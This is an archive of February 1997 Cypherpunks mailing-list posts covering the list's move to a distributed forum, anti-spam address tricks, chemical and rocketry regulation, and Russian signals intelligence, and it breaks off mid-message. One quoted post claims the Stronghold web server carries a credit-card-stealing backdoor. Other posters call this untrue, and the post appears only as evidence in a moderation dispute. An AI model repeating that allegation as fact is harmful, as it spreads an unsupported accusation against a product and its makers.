A3 46 2F From reece at taz.nceye.net Sun Feb 16 21:26:17 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Sun, 16 Feb 1997 21:26:17 -0800 (PST) Subject: When and where? Message-ID: <199702170526.VAA21172@toad.com> Delivered-To: reece at taz.nceye.net Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST) From: Jeremiah A Blatz Sender: owner-cypherpunks at toad.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- camcc at abraxis.com (Alec) writes: > Please post the date when this list will shift to Usenet if that is indeed to > happen. I have not been able to sort out the facts (?) from the speculation, > argument, and gas. > > I have requested my ISP to add alt.cypherpunks to the mail server asap. I hope you misspelled "news server." alt.cypherpunks (and subgroups) is a newsgroup. > I don't want to miss a second of the resurrected (or is that born again?) > c'punks. You should join one of the distributed mailing lists (choose the list admin you like/trust the most). There is supposed to be a gateway between the mailing list and the newsgroup, but it is not up yet. Here's the overview: cypherpunks at toad.com is going away. In its place is a distributed forum. This forum is currently made up of a network of mailing lists, which send all their messages to each other. In the future, the newsgroup alt.cypherpunks will be added to this network (posts to the newsgroup go to the mailing lists, mail to the lists goes to the newsgroup). The mailing lists will be faster than the newsgroup, the newsgroup will probably let you use better filtering tools. Your choice. HTH, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole (Cool, "newsgroup" is the first word in four consecutive lines. I did not do this on purpose, even.) -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwe7G8kz/YzIV3P5AQE/lwMAl9FsFoIKk8KF87nDUfczmO3dxo4bDANe bxaF9/daqiyR+Ck8vuTZw7YNc0DrsmEDY+Mr0WMuUrcybngagIxsQyuo56jETdLC T93ixsHuO7jhW4075ipfH/5MWMkI1zKz =G83r -----END PGP SIGNATURE----- -- From reece at taz.nceye.net Sun Feb 16 21:26:22 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Sun, 16 Feb 1997 21:26:22 -0800 (PST) Subject: Cypherpunks afraid of spam? Message-ID: <199702170526.VAA21185@toad.com> From: "Cynthia H. Brown" Date: Sun, 16 Feb 1997 23:02:02 -0500 So, if I put root at 127.0.0.1 in the "From:" field of my news reader's configuration, all of my posts will give this as my e-mail address. More likely to be delivered is root@[127.0.0.1] or root at localhost.nceye.net or similar. The thing to the right has to be a name or a numeric address *in brackets*. Yes, this doesn't seem to make terribly much sense. Another approach if you can do it is to get an alias that looks like a message-ID. All my outgoing usenet posts lately have said From: Bryan Reece <23je8s$ksd at taz.nceye.net> at the top, and no spam has come to that address. From cynthb at sonetis.com Sun Feb 16 21:27:59 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Sun, 16 Feb 1997 21:27:59 -0800 (PST) Subject: Cypherpunks afraid of spam? Message-ID: <199702170527.VAA21254@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Sun, 16 Feb 1997, camcc at abraxis.com (Alec) wrote: > :> I put a spam-busted address in my .sig and give root at 127.0.0.1 as my email > :> in the from: header. Sure, somebody out there is going to be unhappy with > :> me, but if they have a clue they'll figure it out. Meantime, the SpamBots > :> are bouncing mail to the admin of the site instead of to me. > : > For the less computer articulate (me), please rephrase what you just > said more in the form of basic instructions. For starters, root is the all-powerful system administrator account on UNIX machines, and 127.0.0.1 is the "loopback" or "localhost" IP address, generally used for testing. A connection to loopback amounts to a software connection back to the originating host, and e-mail sent to loopback won't even go out the Ethernet card / modem / whatever. So, if I put root at 127.0.0.1 in the "From:" field of my news reader's configuration, all of my posts will give this as my e-mail address. Depending on the news reader, I may have to set options like "override default domain name", which would override my service provider's name. Since many commercial mailer programs ("SpamBots") scan Usenet news posts for potential target e-mail addresses, these programs will pick up my phony e-mail address and send their junk to their own system administrator instead of me :-) The smarter programs will also scan the bottom of posts for e-mail addresses in people's signatures (or .sig files). The "spam-busted" address described above could be anything that is not a verbatim copy of my e-mail address, for example: c.y.n.t.h.b at i.o.s.p.h.e.r.e.dot.n.e.t cynthb[at]iosphere.net cynthb@[NOSPAM].iosphere.net Any reasonably computer-literate human will be able to figure out what my real address is, but a cut-and-paste by a software robot won't work. Hope this helps, Cynthia -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: cp850 iQCVAwUBMwfYOZOg7xGCJGQtAQFysQP/VBvuOqZnuQd/1PKz2eApuKUFhUSqWcMe L0W44yFEhMF/vsSz9cZ1fY6ge72Mc1M6UaFPW109rkrmlT9Y0rytelmE+IVr5U92 Q0b+5t/SZAs2HTX8brF6XnqY+1kCcQCv20Yv1dUyWrHM/MOe6RUObSSS2uxqC7tf r4TWCnQ6y7c= =bet0 -----END PGP SIGNATURE----- =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From tcmay at got.net Sun Feb 16 21:38:24 1997 From: tcmay at got.net (Timothy C. May) Date: Sun, 16 Feb 1997 21:38:24 -0800 (PST) Subject: The Science Generations, II In-Reply-To: Message-ID: At 8:58 PM -0800 2/16/97, Steve Schear wrote: >BTW, regarding the difficulty in obtaining chemical reagents (unless you're >in a qualified educational program or professionally employed at a large >industrial company), I came across a relatively new company targeting the >amateur scientist, Chemical Resale of Santa Barbara >. It carries only a limited selection and >prices seem very high (undoubtedly due to his small volume). And as part of the "War on (Some) Drugs," many chemical purchases now require licenses of various sorts. As a growing number of chemicals are classified as "precursors" to a growing medicine cabinet full of mind-altering or reality-enhancing recreational substances, this "chemical escrow" is a step in the direction of outlawing all cash commerce. Some legal scholars are claiming that there is no provision in the Constitution guaranteeing anonymity of purchases, and, indeed, a growing number of purchases can no longer be anonymous--guns, explosives, chemicals of various sorts, etc. How long before _all_ transactions must be recorded, True Names revealed, etc.? (I believe this interpretation is incorrect. I believe "due process" means that a court order, or specific enabling legislation (as for guns) must be produced. If Alice sells something to Bob, having the government as a third party is, I think, a violation of the Fourth. However, the "power to regulate commerce" could be the root password, as national security often is.) I'm thinking about these issues because I'm working on a position paper for Michael Froomkin's session at CFP. (Froomkin is one of the legal scholars aruing that transactions may have no constitutional expectation of privacy.) >Regarding amateur experiments with 'real' rockets, the Fed have passed a >plethora of laws effectively resticting what non-governmental bodies may >investigate. See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec. >173.88. I guess I can't play with matches anymore. Thank you Congress. Nor can you play with knives, by the way. I read rec.knives, and the explosion of laws about how and where knives may be carried, used, owned, bought, etc., and what blade shapes are allowed, what lengths are felonies to possess, etc., is truly mind-numbing. I concluded that I'm committing misdemeanors in nearly all counties I enter in California, and felonies in some. All for possessing and/or carrying what I bought legally just a few years ago. This is the morass of laws into which we have sunk. I suspect similar laws--regulating commerce, protecting children, disarming bad guys, etc.--will be used soon enough on crypto. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From reece at taz.nceye.net Sun Feb 16 21:41:05 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Sun, 16 Feb 1997 21:41:05 -0800 (PST) Subject: When and where? Message-ID: <199702170541.VAA21869@toad.com> Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST) From: Jeremiah A Blatz Here's the overview: cypherpunks at toad.com is going away. In its place is a distributed forum. This forum is currently made up of a network of mailing lists, which send all their messages to each other. In the future, the newsgroup alt.cypherpunks will be added to this network (posts to the newsgroup go to the mailing lists, mail to the lists goes to the newsgroup). The mailing lists will be faster than the newsgroup, the newsgroup will probably let you use better filtering tools. Your choice. There is currently a newsgroup cypherpunks.list on taz.nceye.net world-accessible. It receives cypherpunks at algebra.com, but posts there aren't sent back to the list yet. Anyone who wants an NNTP feed of it can have one. From azur at netcom.com Sun Feb 16 21:41:12 1997 From: azur at netcom.com (Steve Schear) Date: Sun, 16 Feb 1997 21:41:12 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702170541.VAA21886@toad.com> Just a short update to our discussions regarding the 'dumbing down' of America. Although Gilbert appears to have gone out of the business I did find a few chemistry sets at my local hobby store. They were certainly a far cry from the bunsen burner and lab glassware I grew up with, they all appear to use micro amounts of reagent in pipette tubes. I doubt they will generate the excitement we experienced. BTW, regarding the difficulty in obtaining chemical reagents (unless you're in a qualified educational program or professionally employed at a large industrial company), I came across a relatively new company targeting the amateur scientist, Chemical Resale of Santa Barbara . It carries only a limited selection and prices seem very high (undoubtedly due to his small volume). Regarding amateur experiments with 'real' rockets, the Fed have passed a plethora of laws effectively resticting what non-governmental bodies may investigate. See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec. 173.88. I guess I can't play with matches anymore. Thank you Congress. --Steve From die at pig.die.com Sun Feb 16 21:41:14 1997 From: die at pig.die.com (Dave Emery) Date: Sun, 16 Feb 1997 21:41:14 -0800 (PST) Subject: Modified Clipper chip - HA! (fwd) Message-ID: <199702170541.VAA21887@toad.com> >For all of you who didn't see the last X-Files ... >Mulder made a visit to The Lone Gunman about breaking into some >impenetrable system. >Byers points out that "Yeah, that system is pretty hard to get into." >Mulder then inquires "well how did you guys get in?". >Byers replies cooly: "We used a modified Clipper chip we bought back from >the Chinese." >I didn't stop laughing for 5 minutes ... :) >_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ I don't know whether this guy knows it or not but mainland China buys huge quanities of DoD surplus scrap electronics. The material is required to be mutilated but stuff slips through. I have seen it myself. The little bit on X-files noted above is not as far fetched as one might believe. ..Jim <:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:> <:> Jim Conrad - Ocean View Communications - jjc at infi.net <:> <:> 757-490-8127 Office - 757-587-8251 Fax - 757-473-6740 Pager <:> <:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:> From die at pig.die.com Sun Feb 16 21:41:25 1997 From: die at pig.die.com (Dave Emery) Date: Sun, 16 Feb 1997 21:41:25 -0800 (PST) Subject: Russian Sigint Message-ID: <199702170541.VAA21894@toad.com> > > I found this on The New American web page. ? > > > GRU Snooping Continues. The interception, taping, and publication of a > conference call between Newt Gingrich and other congressional leaders > demonstrates the susceptibility of microwave-transmitted electronic > communications to eavesdropping. A growing number of intracity phone calls, > e-mail, and faxes, as well as nearly all long-distance calls, are carried via > microwave. But it's not just itinerant Democratic Party activists with police > scanners who can listen in on microwave communications. > This is complete horse pucky. Microwave is less and less and less used for long distance communications in the US. Very little traffic now flows over microwave links - fiber has so much higher capacity and better data error characteristics that it has nearly completely taken over long distance telephone and data communications. A typical microwave link can carry 45 or maybe 130 megabits per second maximum per rf channel and maybe has 6 rf channels in use at a time maximum whilst current fibers carry 1.5 Gigibits per fiber and can be upgraded to 3.0 Gigabits easily and way more than 10 Gbs with current WDM technology. Typical installed fiber routes have around 30 or more fibers just because it is as easy to install that many as one. The remaining active microwave links are primarily used as backup for fiber routes and may not be carrying live traffic at all. Virtually every route that used to be microwave has now had one or more fiber routes installed to replace it and if it hasn't they are planned or being installed now. At the best there are a few remote places where installing fiber is impractical that still communicate with the world on microwave links and there are a few microwave systems still in service to carry certain vital national survival and security traffic where they provide redundancy. Also, essentially all current common carrier microwave is now digital rather than fm-fdm-ssb. These high capacity and bit rate 64-QAM or 256-QAM signals are significantly harder to intercept and demodulate and demultiplex than the FM signals used until the late 80's were. This is especially true of reception from sites that see only marginal scattered signals rather than the direct beam, as digital radio tends to not work at all with marginal signals rather than being just noisy. I think that probably less than 1% of US long distance public telephone and data communications currently travel by microwave at any point in their journey compared to more than 68% at the peak of microwave usage in the early 1980's. And this figure is dropping steadily over time as more and more fiber is put in service. > As the Center for Security Policy (CSP) points out, the GRU _ the Main > Intelligence Directorate of the General Staff of the Russian Armed Forces _ > maintains signals intelligence ("sigint") facilities in Lourdes, Cuba, and > Cam Ranh > Bay in Vietnam which are capable of intercepting nearly all microwaved > communication across the continental United States as well as the Atlantic and > Pacific. This is not entirely true. Intercepting microwave signals from over the horizon is not possible except under truly extraordinary propagation conditions and then only for brief periods of time with gigantic antennas and from relatively nearby places. And the resultant scattered signal is of very poor quality and getting usable high bit rate data out of such scatter signals, as would be required to intercept common carrier traffic, is not easily possible. At the very best the Lourdes facility might possibly be able to see occasional microwave scatter traffic from southern Florida and the Carribean on very good days. This is hardly traffic from the entire continental US and one can be very sure that the NSA and other agencies responsible for thinking about US communications security have long ago arranged in cooperation with the long distance carriers to ensure that nothing of any great use was showing up. There are two catagories of microwave traffic those facilities can intercept - domestic and international satellite traffic from US satellites with footprints that cover the Carribean and whatever radio traffic is intercepted by Russian low orbit ferret satellites as they pass over North America and by high orbit monitoring satellites parked over the western hemisphere. Very little public point to point telephone and data traffic between points in the US is currently transmitted via satellite. Fiber is so much cheaper and better in quality that the carriers gave up satellite transmission of domestic traffic some years ago. There are some compelling reasons for this - the long 240 ms delay in transmitting traffic via geosynchronous satellite is very noticable to many humans in the give and take of conversations, and without special protocol provisions many data communications systems give horrible throughput over links with that long a delay as well as giving unnacceptably long echo delays in interactive applications. And satellite bandwidths are even less than terrestrial microwave bandwidths and compared to the vast amount of fiber now in service are just a tiny fraction of the total. Domestic communications satellites are primarily used for point to multipoint traffic such as credit card authorization systems for gas stations and stores and distribution of video to TV stations and cable companies, and broadcasts of data to large numbers of receivers. It is rarely cheaper and more cost effective to put point to point traffic on communications satellites. And most of what is there is traffic sent by private users of one sort or another such as large companies and government agencies - much of which is securely encrypted if sensitive. And that which is not encrypted is readily accessible to anyone with the right commonly available equipment and a vanilla satellite dish of the sort there are literally millions and millions of scattered throughout the US, Canada and Mexico - the potential threat from this source dwarfs what the Russians might do with the information (and is readily controlled by link encryption). Even international communications from the US are less and less routed via satellite as high capacity fiber trans-ocean cables are installed. I have seen numbers on the order of less than 10% satellite transmission of international traffic and as new optical amplifier cables are installed (which one can assume the UKUSA partners such as the US NSA get the entire bitstream from) this number is also plunging. And most international satellite communications can be monitored from the other end and do not have to be monitored from near the US. As a point of fact I would be more concerned that Russian submarines have tapped the trans-Atlantic and trans-Pacific cables somewhere than that the Russians pick up satellite communications. One hopes that the bitstreams on those cables are really securely link encrypted - doing so would seem to be a no-brainer - but I have never seen any reference to this being the practice. What capabilities Russian sigint satellites still have in the post USSR era of economic collapse where Russia has not been able to launch a single imaging spy satellite for several months and has no usable ones in orbit, according to a recent NY Times story, is not clear. Russian satellites have generally had a much shorter useful life in orbit than US satellites do and Russia and the Russian space program has been pretty poor and disorganized for the last several years. At best such sigint satellites could conceivably be used to monitor some few domestic microwave links that happened to put a usable signal in the direction of the satellite and were far enough away from other transmitters on the same frequency to be separated by antenna directivity enough to stand out. While a satellite in geosynchronous orbit could see all of North America, it is pretty certain that it could see only a rather small fraction of modern digital microwave links well enough to recover traffic from them. And it is absolutely certain that the capacity of the satellite to intercept and relay traffic is only a few microwave links simultaneously at most. This is hardly everything or more than a small piece in fact. It has been reported that Russian sigint satellites use laser optical links back to Lourdes rather than the Ka and higher frequency band microwave links that US equivalents have used to pass the signals they intercept, but one suspects that the relevant US agencies have probably used whatever means were necessary to find these links and determine what US traffic is being monitored and ensure that that anything truly important was routed by fiber instead. In any case, the value of Lourdes is primarily as a base for intercepting US satellite communications and as a conveniant place to put a ground station for sigint and ferret satellites where satellite to satellite relay is not required to get the signals back to a ground station. If Lourdes were shut down most of the sigint functions of these satellites could be operated from Russia using satellite to satellite communications of one sort or another. The only major loss would be the ability to intercept certain domestic communications satellite signals which use focused beams and not readily intercepted from other places where the Russians may have space to put antennas. And one suspects that the Russians could probably do most of this interception from covert sites under cover as legitimate satellite installations in the US and Canada or other Caribbean or Central American countries. In any case it is certainly not true that Lourdes can intercept a significant fraction of US telecommunications simply because most US telecommunications do not any longer travel via microwave radio. Lourdes undoubtably can intercept enough useful stuff to justify continuing its operation, but this is partly because of blind US government policy on encryption rather than anything else. This especially applies to cellular communications which can be intercepted from satellites (and of course by anyone with a scanner or modified cellphone as well). How well even satellites with large 100 or 200 foot dishes do at intercepting the dense network of US and other cellular systems with hundreds of transmitters going at once on the same frequency in the area of the footprint of the satellite receive antenna at 800 mhz I do not know. And tracking and identifying calls of interest when the satellite can intercept only some cells on some cellsites reliably must be fairly hard. In any event the US operates several sigint satellites of much more advanced design and capability than Russia and has for many more years than the Russians have. And it is widely reported that the US has worldwide ground monitoring stations listening to essentially all communications satellites in the Clarke orbit and probably any that aren't that could possibly carry useful traffic. Our capabilities and technology and expenditure in this area is well beyond anyone elses. Furthermore, according to the CSP, "it is believed that both the > Russians > and the Cubans are developing capabilities at Lourdes to conduct information > warfare (IW). Such a capability would permit these facilities to be employed not > only to intercept information [but also to] make it possible for Moscow or > Havana > to manipulate telecommunicated information so as to deny the American people > and their government vital services or otherwise work against U.S. interests." > There may be some capability to jam US commercial communications satellites which for the most part have not any kind of protection against such jamming. Vital US military communications satellites do. Successfully conducting man-in-the-middle attacks on terrestrial microwave communications from Clarke orbit is difficult at the very very best and probably essentially impossible simply because of the 240 ms delay involved and the enormous difficulty of sucessfully interjecting the right kind of signal into a microwave link that uses highly directional antennas and modulation techniques that are amplitude sensitive such as QAM. And one can certainly assume that the US is carefully watching Russian sigint satellites at all times and would certainly know immediately if they started radiating enough signal to disrupt or spoof US communications systems. Of course all sigint yields information such as passwords and encryption keys and spectral signatures of speakers and call addressing and routing information (traffic analysis) that can be used to good advantage in later active man-in-the-middle attacks. And one can certainly assume that the Russians and many other governments including the US have spent considerable effort developing active penetration and disruption capablity. It has even been reported that the US has been using this to force network traffic to be routed in Europe via facilities the US can monitor. > According to former GRU Colonel Stanislav Lunev, "The strategic significance of > the Lourdes facility has grown dramatically since the secret order from Russian > Federation President [Boris Yeltsin] of 7 February 1996 demanding that the > Russian intelligence community step up the theft of American and other Western > economic and trade secrets. It currently represents a very formidable and > ominous > threat to U.S. national security as well as the American economy and > infrastructure." > > Yet the Clinton Administration insists that it is in America's interest to > allow the > GRU to continue its eavesdropping on the U.S. In congressional testimony > delivered on March 16, 1995, Assistant Secretary of State for Inter-American > Affairs Alexander Watson asserted that pressuring Russia to discontinue sigint > activities in Cuba "could limit our ability to promote reform and stability > in Russia" > as it could "be seen by the Russians as interfering with the exercise of > their right > under the START Treaty to monitor compliance with the agreement...." > And of course if we pressure them and other governments to abandon sigint operations they can and will start to do the same to us. And ours are greater in magnitude and productivity than theirs. > As with so many other issues, the Clintonites and the Soviets are reading > from the > same page regarding the Cuban sigint facility. Izvestia reported last > November 30th > that the U.S. "does not object in principle to the continuing existence of the > electronic center in Cuba...."i > One can make the argument that sigint for national security purposes is stabilizing and not altogether a bad thing. Many of us who are at least dimly aware of the technology fear its potential in the hands of a future fascist police state greatly, but one suspects that the Russians do not use the information effectively to damage US interests. After all we are the top economic and military power in the world and they are nearly in third world status economicly and have a rapidly deteriorating military. Perhaps the greatest risk from their Soviet era sigint capabilities is that information will leak from starved intelligence agency employees and officials to the Russian criminal mafias and benefit organized crime. There is certainly potential there for mischief, especially considering that a good amount of criminally useful information flows unencrypted over radio communications in the US. If I was in the US government and thinking about the threat of the Russian sigint capability I would be pushing for more use of encryption in domestic commercial communications and especially such things as cellphones and wireless data systems. Universal link encryption with secure ciphers of such radio based communications systems should not impact lawful interception of communications one iota since the government can always request wiretaps using their spiffy new digital telephony tapping capablity. The carriers would always have access to the unencrypted traffic after all and could forward it to the government. And many of us think that end-to-end encryption of traffic is a better choice in the long run than no encryption, even if it locks out the government (and everyone else) from easily, and in large quantities, fishing through traffic. One supposes that the government will always be able to obtain most traffic it wants badly enough, through cryptanalysis, TEMPEST, rubber hose cryptanalysis, black bag jobs, bugging, and the perfidy of informants of one sort or another, and of course most of all - carelessness and ignorance about INFOSEC and bugs and configuration problems in software. But I would also be mindful that the Russians have decreasing intelligence capability to monitor US intentions and perhaps allowing them some access will keep them from developing paraniod fears of US intentions. The Russians probably still have a few working ICBMs after all... In any case enough of these speculations. Perhaps a semi-retired telecommunications/computer engineer such as myself with access only to public information gets the picture completely wrong. And perhaps not. I do know it is definately and without a doubt not true that more and more domestic communications flow over microwave point to point radio, however. And I think that anyone propagating that myth deserves a correction. Dave Emery die at die.com Weston, Mass. From EALLENSMITH at ocelot.Rutgers.EDU Sun Feb 16 22:43:52 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Sun, 16 Feb 1997 22:43:52 -0800 (PST) Subject: The Science Generations, II Message-ID: <01IFI712H7OC8Y4XA0@mbcl.rutgers.edu> From: azur at netcom.com (Steve Schear) >Regarding amateur experiments with 'real' rockets, the Fed have passed a >plethora of laws effectively resticting what non-governmental bodies may >investigate. See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec. >173.88. I guess I can't play with matches anymore. Thank you Congress. What precisely do those laws say? As a scientist, I have somewhat of an interest in such subjects, and I don't have very good access to legal databases. (For instance, I tried the Library of Congress search system for laws passed since 1973... and the thing's indexed by _title_ of legislation, not the more standard designation you gave...). Thanks, -Allen From EALLENSMITH at ocelot.Rutgers.EDU Sun Feb 16 23:26:14 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Sun, 16 Feb 1997 23:26:14 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702170726.XAA26462@toad.com> From: azur at netcom.com (Steve Schear) >Regarding amateur experiments with 'real' rockets, the Fed have passed a >plethora of laws effectively resticting what non-governmental bodies may >investigate. See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec. >173.88. I guess I can't play with matches anymore. Thank you Congress. What precisely do those laws say? As a scientist, I have somewhat of an interest in such subjects, and I don't have very good access to legal databases. (For instance, I tried the Library of Congress search system for laws passed since 1973... and the thing's indexed by _title_ of legislation, not the more standard designation you gave...). Thanks, -Allen From tcmay at got.net Sun Feb 16 23:26:19 1997 From: tcmay at got.net (Timothy C. May) Date: Sun, 16 Feb 1997 23:26:19 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702170726.XAA26470@toad.com> At 8:58 PM -0800 2/16/97, Steve Schear wrote: >BTW, regarding the difficulty in obtaining chemical reagents (unless you're >in a qualified educational program or professionally employed at a large >industrial company), I came across a relatively new company targeting the >amateur scientist, Chemical Resale of Santa Barbara >. It carries only a limited selection and >prices seem very high (undoubtedly due to his small volume). And as part of the "War on (Some) Drugs," many chemical purchases now require licenses of various sorts. As a growing number of chemicals are classified as "precursors" to a growing medicine cabinet full of mind-altering or reality-enhancing recreational substances, this "chemical escrow" is a step in the direction of outlawing all cash commerce. Some legal scholars are claiming that there is no provision in the Constitution guaranteeing anonymity of purchases, and, indeed, a growing number of purchases can no longer be anonymous--guns, explosives, chemicals of various sorts, etc. How long before _all_ transactions must be recorded, True Names revealed, etc.? (I believe this interpretation is incorrect. I believe "due process" means that a court order, or specific enabling legislation (as for guns) must be produced. If Alice sells something to Bob, having the government as a third party is, I think, a violation of the Fourth. However, the "power to regulate commerce" could be the root password, as national security often is.) I'm thinking about these issues because I'm working on a position paper for Michael Froomkin's session at CFP. (Froomkin is one of the legal scholars aruing that transactions may have no constitutional expectation of privacy.) >Regarding amateur experiments with 'real' rockets, the Fed have passed a >plethora of laws effectively resticting what non-governmental bodies may >investigate. See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec. >173.88. I guess I can't play with matches anymore. Thank you Congress. Nor can you play with knives, by the way. I read rec.knives, and the explosion of laws about how and where knives may be carried, used, owned, bought, etc., and what blade shapes are allowed, what lengths are felonies to possess, etc., is truly mind-numbing. I concluded that I'm committing misdemeanors in nearly all counties I enter in California, and felonies in some. All for possessing and/or carrying what I bought legally just a few years ago. This is the morass of laws into which we have sunk. I suspect similar laws--regulating commerce, protecting children, disarming bad guys, etc.--will be used soon enough on crypto. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From aba at dcs.ex.ac.uk Sun Feb 16 23:28:33 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sun, 16 Feb 1997 23:28:33 -0800 (PST) Subject: The Offending Stronghold posts... In-Reply-To: Message-ID: <199702170718.HAA00390@server.test.net> Robert Hettinga writes: > Would someone (besides Dr. Vulis of course, or my kill-file eat > it...) please forward me the Stronghold article by Dimitri and all replies > thereto, so I can at least see what the fuss was all about? I might as well > include them in the e$pam feed for posterity. My archive is patchy at the time, as I subscribed to cp and cp-flames, and only switched to cp-unedited when it became apparent that I would be missing some posts by not being on cp-unedited. However, these are the posts that I have obtained from list members, the posts from Tim were forwarded to me by Tim himself (on request -- he offered in a post to do so), Dimitri's post was forwarded to me by Peter Hendrickson and confirmed by Toto, and Igor. Tim declined to confirm or deny when I forwarded him Dimitri's post due to the legal threats. I do think that this is Dimitri's original post. You will observe that the post it isn't flamish. There are many, many other posts which go to confirm the list of events. There may be other replies, but this should keep you going. [0] Dimitri [1, 2, 3, 4] Tim's followups (forwarded to me by Tim) [5] Tim on the legal threats I would appreciate confirmations of which of the lists cypherpunks at toad.com (moderated list) cypherpunks-unedited at toad.com cypherpunks-flames at toad.com these 5 posts went to, and confirmations that others on cypherpunks-unedited received them as quoted below. I would also be interested to know which lists my recent potted history went to, this was the posting starting: : Date: Sun, 16 Feb 1997 23:49:09 GMT : From: Adam Back : To: cypherpunks at toad.com : Subject: Moderation experiment and moderator liability : : : There appears to be a bit of a hush up surrounding the circumstances : of the pause in the moderation experiment and subsequent change of : moderation policy. ... Thanks, Adam [0] ====================================================================== From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Subject: Security alert!!! To: cypherpunks at toad.com Date: Thu, 30 Jan 97 16:15:21 EST Message-Id: WARNING: There's a rogue trojan horse out there on the internet known as the "stronghold web server". It's actually a hacked-up version of Apache with a backdoor, which allows hackers (or whoever knows the backdoor) to steal credit card numbers and other confidentil information on the Internet. Be careful! Always use encryption. Do not send confidential information 9such as passwords and credit card numbers) to any site running the trojan horse "stronghold". In general, beware of "snake oil" security products and hacked-up versions of free software. Please repost this warning to all relevant computer security forums. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps [1] ====================================================================== Date: Fri, 7 Feb 1997 13:46:39 -0800 To: Against Moderation From: "Timothy C. May" Subject: Is Sandy really censoring criticisms of Stronghold, his product? Cc: cypherpunks at toad.com At 9:19 AM +0000 2/7/97, Against Moderation wrote: >"Timothy C. May" writes: > >> Well, I only subscribe to the Flames list--there is no doubt about this. >> >> In any case, what is the meaning of a message going only to the "Unedited" >> list? A message that goes to the Unedited list but _not_ to the Flames >> list must surely go to the Main list, right? >> >> That is, >> >> MAIN list + FLAMES list = UNEDITED list > >No, this is not the case. At this point the unedited list does >definitely get everything that gets mailed to cypherpunks. However, >Vulis did apparently send a couple of [obnoxious, flamey and blatantly >untrue] posts about security holes in Stronghold. Sandy deleted that ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >message and did not send to the mail or flames lists. > >Could have been an accident, or could be because Vulis and Sandy hate >each other... Whether true or not, it is not the role of Sandy the Censor to decide on the truth of various claims in people's posts. Even by his own (vague and changing) standards, deciding on the _truthfulness_ of articles was never a criterion. This is a serious charge. Can you send to the list, with a copy to me, the articles which cited security holes in Stronghold? Given that Sandy works for a company, Community Connection/C2NET, which _sells_ Stronghold, it would be serious indeed if Sandy is using his role as List.Censor to keep such articles from the main list, and even more serious (much more serious), if Sandy is discarding such articles completely. Given the extremely serious implications of this charge, I would like to see some evidence before believing it. By the way, this again raises the issue of the danger of filtering out posts merely because _somewhere_ in the post insulting words are used. (Recall that my long essay was almost scrapped by Sandy, by his own admission, because one small paragraph said unflattering things about some people. Jeesh. Is this what Cypherpunks has become?) It would be far better, and more honest (in a warped way), if Sandy were to leave in the substantive sections of all posts and merely mark offending sections as "***** C E N S O R E D *****." Then people could read the various claims made in posts and still have the "naughty bits" blacked out, so as not to offend their sensibilities. It's the honest way to censor. --Tim May [2] ====================================================================== Date: Fri, 7 Feb 1997 13:59:23 -0800 To: cypherpunks at toad.com From: "Timothy C. May" Subject: More on the Stronghold Charge Cc: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Vulis has sent me private mail, which I won't quote here because of the usual netiquette standards that private mail not be quoted (though it's legal to do so). He asserts that a few weeks ago he sent criticisms of Stronghold out to the Cypherpunks list, and the criticisms did not appear on any of the distributed lists. He claims he then received communications from C2Net of a legal nature, threatening him with legal action. I'll let Vulis elaborate if he wishes, as I don't know the situation. And I encourage him to do so, for more than one reason. As I just replied to "Against Moderation" on, I would like to see these articles which were suppressed. Please repost them to the list, and copy me to ensure that I get them. If this claim is true, that Sandy blocked criticism of Stronghold from reaching either the Main list (bad enough), or from even going out at all on the Flames list (reprehensible), then this is an extremely serious charge. If the claim is true that Sandy used articles sent to the Cypherpunks list, but never distributed to the list, as the basis by the company which employs him of legal threats of any kind, then this is even more than just "extremely serious." I would like to hear more from Vulis, and copies of any such articles, and of course would like to hear Sandy's version of things. This is too serious a charge not to resolve. --Tim May [3] ====================================================================== Date: Fri, 7 Feb 1997 15:03:02 -0800 To: Against Moderation From: "Timothy C. May" 